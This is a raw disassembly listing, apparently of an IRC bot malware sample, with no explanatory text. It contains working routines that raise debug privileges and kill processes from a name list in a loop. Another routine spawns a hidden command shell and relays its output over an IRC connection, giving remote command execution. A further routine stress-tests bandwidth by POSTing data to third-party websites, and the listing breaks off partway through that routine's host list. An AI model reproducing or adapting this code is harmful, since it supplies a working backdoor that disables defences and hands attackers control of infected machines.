sub_4166AF	proc near		; CODE XREF: sub_41540C+7p
					; sub_41671A+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4230F8	; GetCurrentProcess
		push	eax
		call	dword_4C97E4	; OpenProcessToken
		test	eax, eax
		jnz	short loc_4166CE
		leave
		retn
; ---------------------------------------------------------------------------


loc_4166CE:				; CODE XREF: sub_4166AF+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4C97C0	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_41670C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4166F5
		or	[ebp+var_8], 2
		jmp	short loc_4166F9
; ---------------------------------------------------------------------------


loc_4166F5:				; CODE XREF: sub_4166AF+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4166F9:				; CODE XREF: sub_4166AF+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4C9868	; AdjustTokenPrivileges
		mov	esi, eax


loc_41670C:				; CODE XREF: sub_4166AF+32j
		push	[ebp+var_4]
		call	dword_423068	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4166AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41671A	proc near		; CODE XREF: sub_401AC7+6B18p
					; sub_416949+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4C9820, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_416919
		cmp	dword_4C9804, ebx
		jz	loc_416919
		cmp	dword_4C9724, ebx
		jz	loc_416919
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4166AF
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4C9820	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_41690C
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4C9804	; Process32First
		mov	esi, dword_423068
		test	eax, eax
		jz	loc_416907
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4C9724	; Process32Next
		test	eax, eax
		jz	loc_416907
		mov	edi, dword_423084
		mov	ebx, 1F0FFFh


loc_4167DE:				; CODE XREF: sub_41671A+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_416845
		mov	[ebp+var_4], offset off_43A408


loc_4167EC:				; CODE XREF: sub_41671A+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_423168	; lstrcmpi
		test	eax, eax
		jz	short loc_416814
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A468
		jl	short loc_4167EC
		jmp	loc_4168ED
; ---------------------------------------------------------------------------


loc_416814:				; CODE XREF: sub_41671A+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_4168ED
		push	0
		push	eax
		call	dword_4230F0	; TerminateProcess
		test	eax, eax
		jnz	loc_4168ED


loc_41683B:				; CODE XREF: sub_41671A+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_4168ED
; ---------------------------------------------------------------------------


loc_416845:				; CODE XREF: sub_41671A+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_4168D8
		cmp	[ebp+arg_4], eax
		jz	loc_4168ED
		push	[ebp+var_128]
		push	8
		call	dword_4C9820	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_416898
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4C96D4	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_41689E
		lea	eax, [ebp+var_234]
		jmp	short loc_4168A4
; ---------------------------------------------------------------------------


loc_416898:				; CODE XREF: sub_41671A+15Cj
		push	[ebp+var_128]


loc_41689E:				; CODE XREF: sub_41671A+174j
		lea	eax, [ebp+var_10C]


loc_4168A4:				; CODE XREF: sub_41671A+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_417D96
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_41683B
; ---------------------------------------------------------------------------


loc_4168D8:				; CODE XREF: sub_41671A+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416920


loc_4168ED:				; CODE XREF: sub_41671A+F5j
					; sub_41671A+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4C9724	; Process32Next
		test	eax, eax
		jnz	loc_4167DE
		xor	ebx, ebx


loc_416907:				; CODE XREF: sub_41671A+9Dj
					; sub_41671A+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_41690C:				; CODE XREF: sub_41671A+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4166AF
		pop	ecx
		pop	ecx


loc_416919:				; CODE XREF: sub_41671A+3Aj
					; sub_41671A+46j ...
		xor	eax, eax


loc_41691B:				; CODE XREF: sub_41671A+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416920:				; CODE XREF: sub_41671A+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4230F0	; TerminateProcess
		test	eax, eax
		jnz	short loc_416944
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_416919
; ---------------------------------------------------------------------------


loc_416944:				; CODE XREF: sub_41671A+223j
		push	1
		pop	eax
		jmp	short loc_41691B
sub_41671A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416949	proc near		; DATA XREF: sub_401AC7+2225o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A61C
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_417D96
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_4169A8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_408C5D
		add	esp, 14h


loc_4169A8:				; CODE XREF: sub_416949+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41671A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4169D0
		push	offset unk_43A5F8
		jmp	short loc_4169D5
; ---------------------------------------------------------------------------


loc_4169D0:				; CODE XREF: sub_416949+7Ej
		push	offset unk_43A5D4


loc_4169D5:				; CODE XREF: sub_416949+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_417D96
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_416A08
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_408C5D
		add	esp, 14h


loc_416A08:				; CODE XREF: sub_416949+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_413B5E
		push	[ebp+var_14]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_416949	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416A27	proc near		; CODE XREF: sub_401AC7+6AB6p
					; sub_40A33E+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_423084	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_416A59
		push	0
		push	esi
		call	dword_4230F0	; TerminateProcess
		test	eax, eax
		jnz	short loc_416A59
		push	esi
		xor	edi, edi
		call	dword_423068	; CloseHandle


loc_416A59:				; CODE XREF: sub_416A27+1Aj
					; sub_416A27+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_416A27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416A5E	proc near		; DATA XREF: sub_401221+3C7o
		push	esi
		xor	esi, esi


loc_416A61:				; CODE XREF: sub_416A5E+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_41671A
		add	esp, 18h
		push	dword_43A404
		call	dword_423078	; Sleep
		jmp	short loc_416A61
sub_416A5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A7E	proc near		; CODE XREF: sub_416AAE+2Ap
					; sub_416AE6+7Ep ...
		mov	eax, dword_4D8650
		push	esi
		mov	esi, dword_423068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416A92
		push	eax
		call	esi	; CloseHandle


loc_416A92:				; CODE XREF: sub_416A7E+Fj
		mov	eax, dword_4D8658
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416A9F
		push	eax
		call	esi	; CloseHandle


loc_416A9F:				; CODE XREF: sub_416A7E+1Cj
		mov	eax, dword_4D864C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416AAC
		push	eax
		call	esi	; CloseHandle


loc_416AAC:				; CODE XREF: sub_416A7E+29j
		pop	esi
		retn
sub_416A7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AAE	proc near		; CODE XREF: sub_401AC7+69B6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_4176F0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4D8654
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jnz	short loc_416AE1
		call	sub_416A7E
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416AE1:				; CODE XREF: sub_416AAE+28j
		push	1
		pop	eax
		leave
		retn
sub_416AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AE6	proc near		; CODE XREF: sub_416B6D+D3p
					; sub_416B6D+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43B9B8
		push	[ebp+arg_4]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416B29
		push	7D0h
		call	dword_423078	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_416B40
; ---------------------------------------------------------------------------


loc_416B29:				; CODE XREF: sub_416AE6+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset dword_42E264
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_416B40:				; CODE XREF: sub_416AE6+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		test	eax, eax
		jg	short loc_416B69
		call	sub_416A7E


loc_416B69:				; CODE XREF: sub_416AE6+7Cj
		xor	eax, eax
		leave
		retn
sub_416AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B6D	proc near		; DATA XREF: sub_416CC2+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4D865C


loc_416B85:				; CODE XREF: sub_416B6D+79j
					; sub_416B6D+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4D8650
		call	dword_423170	; PeekNamedPipe
		test	eax, eax
		jz	loc_416C53
		cmp	[ebp+var_4], edi
		jnz	short loc_416BE8
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4D864C
		call	dword_42316C	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_416BDE
		cmp	[ebp+var_8], 103h
		jnz	loc_416C77


loc_416BDE:				; CODE XREF: sub_416B6D+62j
		push	0Ah
		call	dword_423078	; Sleep
		jmp	short loc_416B85
; ---------------------------------------------------------------------------


loc_416BE8:				; CODE XREF: sub_416B6D+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_416BFF


loc_416BEF:				; CODE XREF: sub_416B6D+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_416C4D
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_416BEF


loc_416BFF:				; CODE XREF: sub_416B6D+80j
		mov	[ebp+var_4], esi


loc_416C02:				; CODE XREF: sub_416B6D+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4D8650
		call	dword_4230E8	; ReadFile
		test	eax, eax
		jz	short loc_416C9F
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4D8690
		call	sub_416AE6
		add	esp, 0Ch
		jmp	loc_416B85
; ---------------------------------------------------------------------------


loc_416C4D:				; CODE XREF: sub_416B6D+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_416C02
; ---------------------------------------------------------------------------


loc_416C53:				; CODE XREF: sub_416B6D+45j
		push	offset unk_43A6A4
		push	ebx
		push	dword_4D8690
		call	sub_416AE6
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 10h
		push	1
		call	dword_4230CC	; ExitThread


loc_416C77:				; CODE XREF: sub_416B6D+6Bj
		call	sub_416A7E
		push	offset unk_43A67C
		push	ebx
		push	dword_4D8690
		call	sub_416AE6
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 10h
		push	edi
		call	dword_4230CC	; ExitThread


loc_416C9F:				; CODE XREF: sub_416B6D+C3j
		push	offset unk_43A64C
		push	ebx
		push	dword_4D8690
		call	sub_416AE6
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 10h
		push	edi
		call	dword_4230CC	; ExitThread
sub_416B6D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC2	proc near		; CODE XREF: sub_401AC7+2057p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_416A7E
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43596C
		push	esi
		call	dword_4C98B8	; SearchPathA
		test	eax, eax
		jz	loc_416DBC
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4230FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_416DBC
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_416DBC
		mov	edi, dword_4230F8
		push	3
		push	esi
		push	esi
		push	offset dword_4D8654
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4230F4	; DuplicateHandle
		test	eax, eax
		jz	short loc_416DBC
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417AA0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43B9B8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jnz	short loc_416DC4


loc_416DBC:				; CODE XREF: sub_416CC2+2Fj
					; sub_416CC2+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_416E72
; ---------------------------------------------------------------------------


loc_416DC4:				; CODE XREF: sub_416CC2+F8j
		push	[ebp+var_4]
		mov	edi, dword_423068
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4D8650, eax
		mov	eax, [ebp+var_8]
		mov	dword_4D8658, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4D864C, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4D8690, eax
		jz	short loc_416DFE
		push	[ebp+arg_4]
		jmp	short loc_416DFF
; ---------------------------------------------------------------------------


loc_416DFE:				; CODE XREF: sub_416CC2+135j
		push	ebx


loc_416DFF:				; CODE XREF: sub_416CC2+13Aj
		push	offset dword_4D865C
		call	sub_417D96
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset dword_43A708
		call	sub_40A203
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43C748[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_416B6D
		push	esi
		push	esi
		call	dword_42307C	; CreateThread
		cmp	eax, esi
		mov	dword_43C754[edi], eax
		jnz	short loc_416E70
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A6D4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_413B5E
		add	esp, 10h


loc_416E70:				; CODE XREF: sub_416CC2+185j
		xor	eax, eax


loc_416E72:				; CODE XREF: sub_416CC2+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E77	proc near		; CODE XREF: sub_41706C+CBp
					; sub_41706C+DDp ...

arg_0		= dword	ptr  4

		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_416E77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E91	proc near		; CODE XREF: sub_41706C+D4p
					; sub_41706C+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4176F0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_417068
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_417AA0
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_409C07
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_417068
		push	50h
		call	dword_4C9800	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4C987C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_417068
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4C97AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_417068
		push	32003h
		call	sub_4194C5
		mov	edi, dword_4230A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_417DE8
		call	sub_417DF2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_417AA0
		push	32000h
		push	esi
		push	ebx
		call	sub_417AA0
		push	ebx
		call	sub_4176F0
		push	323EAh
		mov	ebx, eax
		call	sub_4194C5
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_417D96
		push	[ebp+var_8]
		push	esi
		call	sub_4183C0
		push	offset asc_435C74 ; "\r\n"
		push	esi
		call	sub_4183C0
		add	esp, 40h
		push	esi
		call	sub_4176F0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_416FE8
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_416FB8
; ---------------------------------------------------------------------------


loc_416FB5:				; CODE XREF: sub_416E91+155j
		mov	eax, [ebp+arg_0]


loc_416FB8:				; CODE XREF: sub_416E91+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_416FC8
		push	[ebp+var_C]
		jmp	short loc_416FC9
; ---------------------------------------------------------------------------


loc_416FC8:				; CODE XREF: sub_416E91+130j
		push	ebx


loc_416FC9:				; CODE XREF: sub_416E91+135j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41704F
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_416FB5


loc_416FE8:				; CODE XREF: sub_416E91+118j
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4236FC
		fst	[ebp+arg_0]
		fcomp	flt_4236F8
		fnstsw	ax
		sahf
		jnz	short loc_417010
		fld1
		fstp	[ebp+arg_0]


loc_417010:				; CODE XREF: sub_416E91+178j
		push	[ebp+var_4]
		call	dword_4C9894	; closesocket
		push	[ebp+var_8]
		call	sub_4177C1
		push	esi
		call	sub_4177C1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4236F4
		fmul	flt_4236F0
		call	sub_418C98


loc_41704A:				; CODE XREF: sub_416E91+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41704F:				; CODE XREF: sub_416E91+147j
		push	[ebp+var_4]
		call	dword_4C9894	; closesocket
		push	[ebp+var_8]
		call	sub_4177C1
		push	esi
		call	sub_4177C1
		pop	ecx
		pop	ecx


loc_417068:				; CODE XREF: sub_416E91+19j
					; sub_416E91+42j ...
		xor	eax, eax
		jmp	short loc_41704A
sub_416E91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41706C	proc near		; CODE XREF: sub_401AC7+28D9p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
